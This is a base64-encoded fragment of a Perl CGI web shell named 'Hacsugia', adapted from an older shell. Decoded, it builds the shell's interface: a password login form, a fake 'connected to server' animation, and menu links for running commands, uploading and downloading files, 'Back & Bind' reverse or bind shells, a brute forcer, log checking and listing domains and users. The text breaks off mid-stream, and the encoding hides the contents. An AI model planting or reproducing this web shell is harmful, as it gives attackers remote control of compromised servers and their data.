KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0